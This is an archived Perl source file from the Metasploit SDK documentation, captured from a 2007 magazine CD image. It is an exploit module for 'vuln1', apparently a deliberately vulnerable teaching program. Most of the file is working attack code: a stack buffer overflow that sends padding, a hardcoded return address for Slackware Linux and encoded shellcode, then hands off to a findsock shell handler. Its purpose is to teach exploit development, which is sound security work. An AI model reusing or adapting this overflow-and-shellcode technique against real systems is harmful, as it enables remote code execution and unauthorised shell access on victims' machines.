home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / sdk / docs / vuln1_3.pm < prev    next >
Text File  |  2006-06-30  |  4KB  |  123 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::vuln1_3;
  11. use strict;
  12. use base 'Msf::Exploit';
  13. use Msf::Socket::Tcp;
  14. use Pex::Text;
  15.  
  16. my $advanced = {
  17. # Calculated at 76, give some room for different paddings, etc
  18.   'PreRetLength' => [76 - 8, 'Space before the we start writing return address.'],
  19.   'RetLength'    => [32, 'Length of rets to write (in bytes)'],
  20. };
  21.  
  22. my $info = {
  23.   'Name'    => 'Vuln1 v3 Exploit',
  24.   'Version'  => '$Revision: 1.1 $',
  25.   'Authors' => [ 'spoonm', ],
  26.   'Arch'    => [ 'x86' ],
  27.   'OS'      => [ 'linux'],
  28.   'Priv'    => 1,
  29.  
  30.   # We don't advertise CPORT here, although we could.  It will
  31.   # be needed if we use a findsock payload, and could be optionally
  32.   # supplied if you just wanted to change your src port for other
  33.   # reasons.
  34.   'UserOpts'  =>
  35.     {
  36.       'RHOST' => [1, 'ADDR', 'The target address'],
  37.  
  38.       # Default to port to 11221, the port vuln1.c listens on
  39.       'RPORT' => [1, 'PORT', 'The target port', 11221],
  40.     },
  41.   'Payload' =>
  42.     {
  43.       # We have a space limit because of the recv 4096, but its a big one
  44.       # A bigger value would mean faster brute forcing (larger steps) but
  45.       # also run the risk of running off the end of the stack
  46.       'Space'     => 500,
  47.  
  48.       # No BadChars because the bug is a recv call
  49.       'BadChars'  => "",
  50.  
  51.       # This means if we had a payload of 490 bytes in length it would
  52.       # fail since there isn't room for 16 bytes of nop.
  53.       'MinNops'   => 16, # This keeps brute forcing sane
  54.  
  55.       # We want to add support for findsock payloads
  56.       'Keys'      => ['+findsock'],
  57.     },
  58.   'Description'  => Pex::Text::Freeform(qq{
  59.       With new Findsock Action
  60.     }),
  61.   'Refs'  =>
  62.     [
  63.       'http://www.metasploit.com',
  64.     ],
  65.  
  66.   # Setting this to -1 means that we won't pick a default target.
  67.   # This is good if it is a 1 hit exploit, or if the target isn't
  68.   # brute force, etc.
  69.   'DefaultTarget' => -1,
  70.   'Targets' =>
  71.     [
  72. # Fudge the number gotten from gdb a bit to hit some nops and fall in
  73.       ['Slackware Linux', 0xbffffa60],
  74.     ],
  75. };
  76.  
  77. sub new {
  78.   my $class = shift;
  79.   my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  80.  
  81.   return($self);
  82. }
  83.  
  84. sub Exploit {
  85.   my $self = shift;
  86.  
  87.   my $targetHost  = $self->GetVar('RHOST');
  88.   my $targetPort  = $self->GetVar('RPORT');
  89.   my $targetIndex = $self->GetVar('TARGET');
  90.   my $srcPort     = $self->GetVar('CPORT'); # Get src port from env
  91.   my $encodedPayload = $self->GetVar('EncodedPayload');
  92.   my $shellcode   = $encodedPayload->Payload;
  93.   my $target = $self->Targets->[$targetIndex];
  94.   my $ret = $target->[1];
  95.  
  96.   my $sock = Msf::Socket::Tcp->new(
  97.     'PeerAddr'  => $targetHost,
  98.     'PeerPort'  => $targetPort,
  99.     'LocalPort' => $srcPort, # again, src port
  100.   );
  101.   if($sock->IsError) {
  102.     $self->PrintLine('Error creating socket: ' . $sock->GetError);
  103.     return;
  104.   }
  105.  
  106.   $self->PrintLine('Trying ' . $target->[0] . ' - ' . sprintf('0x%08x', $ret));
  107.  
  108.   my $evil = 'A' x $self->GetLocal('PreRetLength');
  109.   $evil .= pack('V', $ret) x int($self->GetLocal('RetLength') / 4);
  110.   $evil .= $shellcode;
  111.  
  112.   $sock->Send($evil);
  113.  
  114.   # The Handler routine has to be called for findsock supporting exploits.
  115.   # It will check the socket passed it, and see if there is a findsock
  116.   # shell on the line.
  117.   $self->Handler($sock);
  118.  
  119.   return;
  120. }
  121.  
  122. 1;
  123.